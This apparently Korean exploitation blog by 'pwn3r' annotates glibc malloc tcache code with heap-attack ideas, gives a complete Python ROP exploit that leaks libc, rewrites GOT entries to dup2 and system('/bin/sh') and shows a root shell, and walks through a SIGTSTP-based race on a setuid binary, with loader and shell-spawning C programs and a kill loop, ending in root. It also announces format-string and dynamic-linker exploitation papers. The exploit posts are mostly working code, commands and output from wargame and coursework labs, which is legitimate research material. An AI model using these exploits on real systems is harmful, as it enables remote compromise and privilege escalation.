https://github.com/kraj/glibc/blob/master/malloc/malloc.c


몇 부분만 정리


 

void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}
arena_get (ar_ptr, bytes);



static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif

 



static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif

};

 


# define TCACHE_FILL_COUNT 7


하나의 tcache bin에는 최대 8개 청크



static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);


...........................................................


if (victim)


{

tcache = (tcache_perthread_struct *) victim;

memset (tcache, 0, sizeof (tcache_perthread_struct));

}



오우 tcache를 위한 struct를 힙에 할당한다. arbitrary heap free 있으면 저거 free 시켜버려도 될듯. 



# define TCACHE_MAX_BINS 64



typedef struct tcache_perthread_struct

{

  char counts[TCACHE_MAX_BINS];

  tcache_entry *entries[TCACHE_MAX_BINS];

} tcache_perthread_struct; 



typedef struct tcache_entry

{

  struct tcache_entry *next;

} tcache_entry;



 

static __always_inline void

tcache_put (mchunkptr chunk, size_t tc_idx)

{

  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  assert (tc_idx < TCACHE_MAX_BINS);

  e->next = tcache->entries[tc_idx];

  tcache->entries[tc_idx] = e;

  ++(tcache->counts[tc_idx]);

}


/* Caller must ensure that we know tc_idx is valid and there's

   available chunks to remove.  */

static __always_inline void *

tcache_get (size_t tc_idx)

{

  tcache_entry *e = tcache->entries[tc_idx];

  assert (tc_idx < TCACHE_MAX_BINS);

  assert (tcache->entries[tc_idx] > 0);

  tcache->entries[tc_idx] = e->next;

  --(tcache->counts[tc_idx]);

  return (void *) e;

} 



엥 이거 완전 fastbin 아니냐. fastbin이랑 같은 방식으로 익스 가능.

할당시점에 기본적인 size도 검사도 없다. next자리에 그냥 stack, GOT, hook, ... 넣어두면 될듯.


/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)






WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Document - Exploiting Race Condition Vulnerability with Unix Signal


분류 : Exploitation

플랫폼 : Linux



우와우 겁나 오랜만에 기술문서 포스팅하네요 ㅋㅋ 이번껀 문서라고 부르기도 뭐한 간단한 포스팅입니다.

예전에 워게임을 풀어보던 도중에 문득 gcc 버젼이 낮아 "pop ; pop ; ret" 나 "add esp, ~~ ; ret" 같은 가젯이 바이너리에 없을때 ROP로 ASLR과 NX를 우회하여 Exploit할 수 있는 방법에 대해 고민해봤습니다.

여러가지 삽질을 해 본 결과 recv함수나 scanf함수나 fgets함수같이 메모리에 원하는 데이터를 한번에 write가 가능할 경우에 leave;ret 를 이용한 Call-chaining으로 ROP exploit을 성공했습니다. 물론 방법이야 많이있겠지만 이 문서에선 제가 시도해본 방법을 설명합니다. 이번엔 더욱더 가벼운 내용이니 역시 가볍게 읽어주시길 바랍니다 ㅋㅋ


---------------------------------------------------------------------------------------------------------------


아래는 취약한 프로그램의 소스이다.

(해커스쿨의 BOF원정대-레드햇 level20의 소스를 약간 수정함)


/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
     * Little bit changed for test!
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
 
void client_callback(int fd)
{
    char buffer[40];
        send(fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
        send(fd, "You : ", 6, 0);
        recv(fd, buffer, 256, 0); // Vuln !!!!!!!!!!!!!!!!!!!!!!!!!
}
 
main()
{
    char buffer[40];
 
    int server_fd, client_fd;
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    int sin_size;
 
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }
 
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(6666);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(server_addr.sin_zero), 8);
 
    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }
 
    if(listen(server_fd, 10) == -1){
        perror("listen");
        exit(1);
    }
 
    while(1) {
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }
 
        if (!fork()){
            client_callback(client_fd);
            close(client_fd);
            break;
        }
 
        close(client_fd);
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
} 


Binary 

   

hello



socket 통신으로 단순히 데이터를 전송하고 받는 간단한 서버프로그램이다. recv함수로 40byte의 버퍼에 256바이트를 입력받아 overflow 취약점이 발생한다. 중요한 것은 컴파일 환경/옵션이다. 최종 목적은 ROP로 ASLR과 NX를 모두 우회해서 원샷 Exploit을 하는 것이지만 Redhat9.0에서 컴파일되어 Call-chaining에 주로 사용되는 "pop ; pop ; ret"나 "add n , esp ; ret" 같은 가젯은 보이지 않는다.(좀 더 고버젼에 가야 등장함)


어떻게 이 바이너리를 ROP로 Exploit할 수 있을까?...하는 고민끝에 "leave ; ret"명령을 이용하는 방법을 생각했다. 

leave 명령은 "mov ebp , esp ; pop ebp"와 같은 역할을 한다. 즉, leave명령을 이용하면 ebp에 넣어둔 값으로 esp를 컨트롤 할 수 있다는 것이다. 물론 "pop ; pop ; ret"같이 상대적인 거리(+8)로 esp를 컨트롤할 순 없지만 ebp에 직접 메모리 주소를 넣어주어 esp를 컨트롤할 수 있다. 


우선 위 내용이 적용시킨 기본적인 payload 형태를 나타낸 아래 그림을 보도록 하자.




그림의 윗 부분에 있는 SFP를 RW(ReadWrite) 가능한 영역(그림에서 0x080497c4. 이후 freespace라고 칭함)으로 조작해주고 recv함수로 freespace 영역에 ROP payload를 수신받는다. 

recv함수의 호출로 freespace에 새로운 payload가 수신되었고, recv함수의 호출이 끝난 후 리턴어드레스 자리에 있는 "leave; ret"가 수행하게 된다.  

leave 명령의 첫 번째 동작인 "mov ebp , esp"가 수행됨으로써 esp가 freespace를 가리키게 한다. 그 상태에서 leave명령의 두 번째 동작인 "pop ebp"를 수행되여 첫 번째 fake ebp(첫 번째 빨간색 화살표가 가리키는 주소)를 pop 하여 ebp에 넣은 후 leave명령 다음에 있는 ret명령을 수행하여 funcaddr로 리턴하게 된다. 

funcaddr에 해당하는 함수가 수행되고 끝나게 되면 리턴어드레스 자리에 있는 주소로 리턴하게 되는데, 리턴어드레스 자리에 "leave; ret"명령의 주소가 있다. 

결국 또 한번 "leave; ret"명령이 실행되게 되는데, funcaddr에 해당하는 함수가 호출되기 전에 ebp에 첫 번째 fake ebp(첫 번째 화살표가 가리키는 주소)가 들어갔으므로, leave명령의 첫 번째 동작(mov ebp, esp)을 통해 첫 번째 화살표가 가리키는 곳으로 esp가 이동할 것이고, 두 번째 동작(pop ebp)으로 두 번째 fake ebp(두 번째 화살표가 가리키는 주소)가 ebp에 들어가게 될 것이다. 그리고 leave명령 다음에 있는 ret명령 실행되면 또 다시 funcaddr로 리턴해 funcaddr에 해당하는 함수를 호출하게 된다.


이후에도 같은 방식으로 esp가 이동되고, ebp를 조작함을 반복해 계속 원하는 가젯이나 함수의 호출을 이어나갈 수 있다.


결국 위에서 설명한 방식으로 "leave; ret"로 Call-chaining하여 여러가지 가젯이나 함수를 연속적으로 호출할 수 있다는 것이 증명되었다. 그럼 이제 실제 공격으로 넘어가보자.


send(fd , bzero@got , 4 ,0) // bzero@got에있는 bzero함수의 libc주소를 얻어옴

recv(fd , bzero@got , 4,0) // 얻어온 bzero@libc주소에 dup2함수와의 오프셋만큼 더하여 다시 send해줌

bzero@plt(fd , 0) // 현재 bzero@got 에는 dup2@libc주소가 있으므로 dup2(fd , 0)

bzero@plt(fd , 1) // dup2(fd , 1)

bzero@plt(fd , 2) // dup2(fd , 2)

recv(fd , bzero@got , 4 , 0) //아까 얻어온 bzero@libc주소에 system함수와의 오프셋만큼더하여 다시send해줌

bzero@plt("/bin/sh") // 현재 bzero@got에는 system@libc주소가있으므로 system("/bin/sh")


payload는 최종적으로 위의 의사코드가 실행되도록 구성했다. (라이브러리 함수간의 오프셋을 안다는 것이 전제됨.)

payload구성과정을 설명하기보단, 만들어진 payload를 직접 읽어보는게 좀더 나을거 같아 payload구성과정은 생략한다.


이를 토대로 Exploit을 작성해보자.


#!/usr/bin/python


from socket import *

import struct , time


pack = lambda x : struct.pack("<L" , x)

unpack = lambda x : struct.unpack("<L" , x)[0]


HOST = "192.168.235.129"

PORT = 6666


fd = 4

rw_memory = 0x080499f0

leave_ret = 0x08048787

send_plt = 0x80484e0

recv_plt = 0x8048500

bzero_plt = 0x80484c0

bzero_got = 0x80499d0


stage_1 = ""

stage_1 += "a"*56

stage_1 += pack(rw_memory) # fake ebp

stage_1 += pack(recv_plt)

stage_1 += pack(leave_ret)

stage_1 += pack(fd)

stage_1 += pack(rw_memory)

stage_1 += pack(0x200)

stage_1 += pack(0)


stage_2 = ""

stage_2 += pack(rw_memory + 4*7) # fake ebp

stage_2 += pack(send_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(bzero_got)

stage_2 += pack(4)

stage_2 += pack(0)


stage_2 += pack(rw_memory + 4*7 + 4*7) # fake ebp

stage_2 += pack(recv_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(bzero_got)

stage_2 += pack(4)

stage_2 += pack(0)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5) # fake ebp

stage_2 += pack(bzero_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(0)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5 + 4*5) # fake ebp

stage_2 += pack(bzero_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(1)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5 + 4*5 + 4*5) # fake ebp

stage_2 += pack(bzero_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(2)


stage_2 += pack(rw_memory + 4*7 + 4*7 + 4*5 + 4*5 + 4*5 + 4*7) # fake ebp

stage_2 += pack(recv_plt)

stage_2 += pack(leave_ret)

stage_2 += pack(fd)

stage_2 += pack(bzero_got)

stage_2 += pack(4)

stage_2 += pack(0)


stage_2 += pack(0xdeadbeef)

stage_2 += pack(bzero_plt) # now bzero@got points system@libc !

stage_2 += pack(0xdeadbeef)

stage_2 += pack(rw_memory + len(stage_2) + 8) # &"/bin/sh\x00"

stage_2 += pack(0)


stage_2 += "/bin/sh\x00"


s = socket(AF_INET , SOCK_STREAM)

s.connect((HOST , PORT))


print "[*] Connected"


time.sleep(0.5)

s.recv(1024)


time.sleep(0.5)

s.send(stage_1)

print "[*] Stage_0 payload sended"


time.sleep(0.5)

s.send(stage_2)

print "[*] Stage_1 payload sended"


bzero_libc = unpack(s.recv(4))


print "[*] Received bzero@libc : " + hex(bzero_libc)


dup2_libc = bzero_libc + 0x56120

system_libc = bzero_libc - 0x3cac0


print "[~] => dup2@libc : " + hex(dup2_libc)

print "[~] => system@libc : " + hex(system_libc)


time.sleep(0.5)

s.send(pack(dup2_libc)) # >>> hex(0x420d1ea0 - 0x4207bd80) '0x56120'

# dup2 - bzero


time.sleep(0.5)

s.send(pack(system_libc)) # >>> hex(0x4203f2c0 - 0x4207bd80) '-0x3cac0'

# system - bzero


print "[*] May be you got the shell?"


while 1:

        cmd = raw_input("$ ")

        s.send(cmd+"\n")

        if cmd == "exit":

                break

        print s.recv(1024)

s.close() 


이제 실제로 공격을 진행해본다.


[pwn3r@localhost testpwn]$ ./exploit.py 

[*] Connected

[*] Stage_0 payload sended

[*] Stage_1 payload sended

[*] Received bzero@libc : 0x4207bd80

[~] => dup2@libc : 0x420d1ea0

[~] => system@libc : 0x4203f2c0

[*] May be you got the shell?

$ id

uid=0(root) gid=502(pwn3r) groups=502(pwn3r)


겁나 깔끔하다 :)

이로서 프로그램이 한 번에 많은 데이터를 입력받을 수 있는 함수를 사용할 때, "leave; ret"명령을 통한 Call-chaining으로 ppr 없이 ROP가 가능하다는 것이 증명되었다. (뭔가 모순인 결론 ㅋㅋ)


p.s 사실 이게 엄청난 뻘짓인건 사실이다. ppr이 없을 정도로 낮은버젼에서 컴파일 되었다면, NX가 걸려있지않아 ROP없이 쉘코드로 바로 뛰는 것만으로도 충분히 Exploit이 가능할 것이다. 하지만 재밌는 payload들을 생각해볼 수 있는 좋은 기회였고, 나에겐 충분히 재밌는 연구였으므로 만족한다 :)


WRITTEN BY
pwn3r
45

트랙백  72 , 댓글  0개가 달렸습니다.
secret


Document - Exploiting Race Condition Vulnerability with Unix Signal


분류 : Exploitation

플랫폼 : Linux


BOB(차세대 보안리더 양성프로그램) 1학기 OS시간 - passket 멘토님의 과제 중 하나로 아래의 소스를 컴파일한 바이너리의 취약점을 이용해 최종적으로 원하는 프로그램을 실행해 권한 상승을 하는 공격 및 공격 보고서를 작성하는 과제가 있었습니다.


vuln.c

#include <unistd.h>
int main(int argc, char **argv, char **envp)
{
  char buf[4096];
  /* do some stuff, and a check if we require new execution */
  if (argc < 2)
  {
    if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1;
    char *args[] = { buf, "1", 0 };
    if (execve(args[0], args, 0) < 0) return 1;
  }
  /* do some stuff */
  return 0;

} 


이 프로그램은 StalkR이라는 외국해커분이 포스팅한 내용에 포함된 프로그램이며, 해당 포스팅에는 StalkR님이 위 프로그램을 공략하는데 사용한 여러가지 Exploit 방법에 대해 설명하고 있습니다.


http://blog.stalkr.net/2010/11/exec-race-condition-exploitations.html


이 포스팅에 적힌 방법외에 다른 방법으로 공략하는 방법을 생각해보다가 signal을 활용한 공략법을 생각해보게 됬으며, 간단하면서도 나름 간지나는 방법인것 같아 포스팅해봅니다 :)


---------------------------------------------------------------------------------------------------------------


vuln.c

#include <unistd.h> int main(int argc, char **argv, char **envp) { char buf[4096]; /* do some stuff, and a check if we require new execution */ if (argc < 2) { if (readlink("/proc/self/exe", buf, sizeof(buf)) < 0) return 1; char *args[] = { buf, "1", 0 }; if (execve(args[0], args, 0) < 0) return 1; } /* do some stuff */ return 0; }


위 프로그램은 컴파일되어 root user의 권한으로 setuid가 걸린 상태이다.


[pwn3r@localhost ~]$ ls -l

total 12

-rwsr-xr-x. 1 root  root  4864 Jul 14 02:51 vuln

-rw-rw-r--. 1 pwn3r pwn3r  360 Jul 14 02:51 vuln.c 


프로그램의 취약점을 signal로 공략해 root user의 쉘을 획득하는 것이 최종 목표이다.


우선 vuln 프로그램의 취약점부터 분석해 보도록 하자.

위에 있는 vuln 프로그램의 소스를 보면 readlink라는 함수를 이용해 심볼릭 링크인 /proc/self/exe가 가르키는 프로그램. 즉 자기자신의 절대 경로를 구해와 execve함수로 한 번더 실행하는게 프로그램의 전체 역할이다.


그렇다면 vuln 프로그램의 처음 실행된 시점과 execve함수로 또 한번 실행하기 직전, 이 두 시점 사이에 vuln 프로그램을 다른 프로그램으로 바꿔치기 해버린다면 어떻게 될까. 당연히 바꿔치기한 프로그램이 실행되는 것이 될 것이다. 현재 vuln 프로그램은 root user권한으로 setuid가 걸려있기 떄문에 권한상승으로 이어질 수 있다.


그럼 이제 실제로 공략법을 생각해보자. 어떤 방법으로 공략할 수 있을까? 

아마 본인을 포함해 누구나 가장 먼저 떠올리는 방법은 레이스컨디션을 이용한 방법일 것이다. 무한히 vuln 프로그램을 바꿔치기 하는 동작과 무한히 vuln 프로그램을 실행하는 동작, 이 두 동작을 동시에 실행하다보면 언젠가 vuln프로그램이 실행되고 vuln프로그램 내부적으로 execve함수가 호출되기전에 vuln 프로그램이 바꿔치기 되어 원하는 프로그램이 실행될 것이다.


"좀더 간지나는 방법이 없을까.." 생각하며 레이스컨디션 외에 다른 공략법들을 생각해보다가 "Signal"을 이용해서 공략해보게 되었다.


Unix에선 프로세스간에 간단한 메시지(?)를 주고받는 개념의 "Signal"을 지원한다. 터미널에서 Ctrl+C를 누르면 SIGTERM  Signal 이 발생하여 프로세스가 종료되는 것과 Ctrl+Z를 누르면 SIGSTOP  Signal 이 발생하는 것, 프로세스에서 Segmentation Fault가 발생하면 SIGSEGV  Signal 이 발생하면서 종료되는 것이 대표적인 예이다.

아래는 리눅스에 있는 Signal들의 목록이다.


Signals

Linux Signals are:

Signal NameNumberDescription
SIGHUP1Hangup (POSIX)
SIGINT2Terminal interrupt (ANSI)
SIGQUIT3Terminal quit (POSIX)
SIGILL4Illegal instruction (ANSI)
SIGTRAP5Trace trap (POSIX)
SIGIOT6IOT Trap (4.2 BSD)
SIGBUS7BUS error (4.2 BSD)
SIGFPE8Floating point exception (ANSI)
SIGKILL9Kill(can't be caught or ignored) (POSIX)
SIGUSR110User defined signal 1 (POSIX)
SIGSEGV11Invalid memory segment access (ANSI)
SIGUSR212User defined signal 2 (POSIX)
SIGPIPE13Write on a pipe with no reader, Broken pipe (POSIX)
SIGALRM14Alarm clock (POSIX)
SIGTERM15Termination (ANSI)
SIGSTKFLT16Stack fault
SIGCHLD17Child process has stopped or exited, changed (POSIX)
SIGCONT18Continue executing, if stopped (POSIX)
SIGSTOP19Stop executing(can't be caught or ignored) (POSIX)
SIGTSTP20Terminal stop signal (POSIX)
SIGTTIN21Background process trying to read, from TTY (POSIX)
SIGTTOU22Background process trying to write, to TTY (POSIX)
SIGURG23Urgent condition on socket (4.2 BSD)
SIGXCPU24CPU limit exceeded (4.2 BSD)
SIGXFSZ25File size limit exceeded (4.2 BSD)
SIGVTALRM26Virtual alarm clock (4.2 BSD)
SIGPROF27Profiling alarm clock (4.2 BSD)
SIGWINCH28Window size change (4.3 BSD, Sun)
SIGIO29I/O now possible (4.2 BSD)
SIGPWR30Power failure restart (System V)


이 시그널들 중에서도 본인이 이용한 것은 빨간 색으로 표시된 SIGTSTP Signal 이다. SIGTSTP Signal을 받은 프로세스는 SIGSTOP Signal을 받았을때와 마찬가지로 프로세스를 정지시킨다. 


그럼 vuln 프로그램의 처음 실행된 시점과 execve함수로 또 한번 실행하기 직전, 이 두 시점 사이에 프로세스가 SIGTSTP를 받도록한다면 어떨까. 프로세스는 정지될 것이고 우리는 vuln프로그램을 다른 프로그램으로 바꿔치기 해버려 원하는 동작을 수행할 수 있다.


긴말 필요없이 바로 공략해보록하자.

아래 loader 프로그램은 편의를 위해 임의로 짜둔 프로그램이다. vuln프로그램이 실행되고나서 프로세스 아이디를 알아내고 시그널을 보내기엔 시간이 부족하기 때문에, loader역할을 하는 아래 프로그램을 만들어 프로세스 아이디를 출력하고 sleep함수로 몇 초간 대기한 후 vuln프로그램을 실행하도록한 것이다.


loader.c 

#include <stdio.h>

#include <signal.h>

 

void (*old_fun)(int);

 

void signal_handler(int signo)

{

       printf("1\n");

}

 

int main()

{

       int pid , i;

       char buffer[256];

       pid = getpid();

       printf("%d\n" , pid);

       old_fun = signal(SIGTSTP , signal_handler);

       sleep(20);

       execl("/tmp/bob/vuln",0);

}


공격자는 loader 프로그램을 실행하고 출력된 프로세스 아이디를 복사해 다른 터미널에서 무한히 SIGTSTP Signal을 보내도록 해야한다. loader 프로그램이 따로 Signal handler를 등록하지 않았다면 loader 프로그램 자체가 멈춰버리는 문제가 생기겠지만, loader프로그램에는 Signal handler가 등록되어있어 SIGTSTP Signal을 받으면 등록된 Signal handler함수가 실행된 이후 다음에 있는 코드를 이어가게된다. 


loader 프로그램을 실행해본다.


Terminal 1

[pwn3r@localhost bob]$ ./loader 
27317 


정상적으로 실행됬으며 프로세스 아이디를 출력해주었다. 이 프로세스 아이디를 복사해, 다른 터미널에서 해당 프로세스 아이디로 무한히 SIGTSTP Signal을 보내는 쉘스크립트를 실행해본다.


Terminal 

[pwn3r@localhost bob]$ while [ 1 ] ; do kill -20 27317; done 


while 문으로 무한루프를 돌면서 kill명령으로 loader 프로세스에 SIGTSTP Signal(20)을 전송했다.

이렇게 SIGTSTP Signal을 전송받은 loader 프로세스는 아래와 같이 등록된 Signal handler함수를 호출해 1을 출력하고 멈추게 된다.


Terminal 

[pwn3r@localhost bob]$ ./loader 

27317

1


[1]+  Stopped                 ./loader


겁나 깔끔하게도 지금 프로세스가 멈춘시점은 loader프로세스에서 execve함수가 호출되어 vuln프로그램으로 프로세스가 바뀐 직후의 상태이다. 즉 vuln 프로그램이 실행된 시점과 vuln 프로그램 내부적으로 execve 함수가 호출되는 시점 사이에 멈춰있다는 것이다.  한 번에 목표했던 지점에서 프로세스가 멈췄다 -_-b


그럼 이제 느긋하게 vuln 프로그램을 원하는 프로그램으로 바꿔치기해보자. 지금 목표로 하고 있는 것은 root user 권한의 쉘을 획득하는 것이므로, 권한을 이어받고 /bin/sh를 실행하는 프로그램을 작성한다.


gotshell.c 

int main()

{

       setreuid(geteuid(),geteuid());

       execl("/bin/sh","sh",0);

}


위 처럼 작성한 gotshell이란 프로그램을 vuln 프로그램에 덮어씌운다.


Terminal 2 

[pwn3r@localhost bob]$ ln -f gotshell vuln


이제 멈춘 vuln 프로세스를 이어서 진행시키면, 조작된 vuln 프로그램을 실행할 것이다.

vuln 프로세스를 이어서 진행시켜보자.


Terminal 1

[pwn3r@localhost bob]$ fg 1

./loader

sh-4.1# id

uid=0(root) gid=503(pwn3r) groups=0(root),503(pwn3r) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


겁나 깔끔하게 root user의 쉘을 획득했다.


Unix에서 제공하는 Signal을 이용해 편리하게 Race Condition Vulnerability를 간단하면서도 간지나게 Exploit 할 수 있었다. 이런 종류의 Vulnerability가 아니더라도 상황에 따라 Signal을 활용한 Exploit을 해보는 것도 괜찮은 생각인것 같다 :)





WRITTEN BY
pwn3r
45

트랙백  47 , 댓글  0개가 달렸습니다.
secret


Document - Double Stage Format String Attack


분류 : Exploitation

플랫폼 : Linux


Double_Staged_Format_String_Attack__pwn3r.pdf

Double_Staged_Format_String_Attack__pwn3r.txt



대회를 할 때마다 새로운 기술을 만들어내는 슈퍼해커 mongii형님이 만드신 기술 중 하나를 문서화 시켰습니다 .

Format String Bug가 발생했을 때 Stack에 있는 값을 단 1 byte도 변경할 수 없는 상황에서도 사용할 수 있는 기술입니다.

특히 주소에 많은 Null Byte가 포함되는 64bit에서도 사용가능합니다 :)


재밌게 읽어주세요~


* 원래 notepad에서 txt파일로 작성했는데 , 굴림체가 아니면 의도했던 포맷에서 깨져버리는 문제가 발생해서 , pdf파일로도 첨부하게되었습니다 -_-;

* 따라서 txt파일은 notepad.exe에서 "굴림체"로 보셔야 정상적으로 보입니다!


WRITTEN BY
pwn3r
45

트랙백  90 , 댓글  3개가 달렸습니다.
  1. 재밌게 잘 봤습니다 ^.^
  2. 좋은 자료 감사합니다 :)
secret


Document - Reusing dynamic linker for exploitation 


분류 : Exploitation

플랫폼 : Linux


reusing_dynamic_linker_for_exploitation_pwn3r.pdf



작년부터 "내일부터 써야지"하고 미뤄오던게 이제서야 다썻네요~ 양도 얼마안되는데 ..


Dynamic Linker를 역이용하여 고버젼 리눅스 exploitation에 사용할 수 있는 기술에 대한 문서입니다.

DYNAMIC 영역에 쓰기권한이 있어야한다는 전제조건 때문에 우분투 최신버젼이나 몇몇 리눅스에선 사용할 수 없어 제한적인 기술이기도 합니다.


하지만 DYNAMIC 영역에 쓰기 권한이 있다면 ASLR과 NX를 쉽게 우회할 수 있는 기술입니다. 문서에서 테스트한 환경은 Fedora 14이며 문서를 쓴시점에서 최신버젼인 Fedora 16에서 똑같이 사용할 수 있음을 확인했습니다. 


재밌게 읽어주세요~


WRITTEN BY
pwn3r
45

트랙백  67 , 댓글  5개가 달렸습니다.
  1. 잘 봤습니다~
    이런 방법은 어떻게 알아낸건지,,, ~대단하시네요 ㅎ
  2. 리눅스에서 C소스코드를 컴파일시켜 만들어낸 바이너리를 실행하면 lib.so.6 와 같이
    동적라이브러리가 라이브러리영역에 매핑이 된다는걸로 알고있습니다.
    그런데 라이브러리가 메모리에 매핑될때 어디에 매핑되는지 , 또 하나이상의 라이브러리가 로딩될건데 어떤라이브러리가 먼저 로딩되는지 이와같은 정보를 어디서 참조하는지 궁금합니다.
    추가로 또 궁금한게 있는데 fork() 함수가 실행되면 자식프로세스가 만들어지면서 프로세스가 또 라이브러리가 자식프로세스메모리에 매핑되는 건가요? , 자식프로세스가 부모프로세스와 다른점은 어떤점인지 설명해주시면 감사합니다.
    인터넷에서 많이 찾아보았지만 아직까지 재대로 찾아낸 정보가 없어서 질문드립니다. ㅠㅠ

  3. 비밀댓글입니다
  4. 꼭 DYNAMIC 섹션에 쓰기권한이 있을필요가 있나요?
secret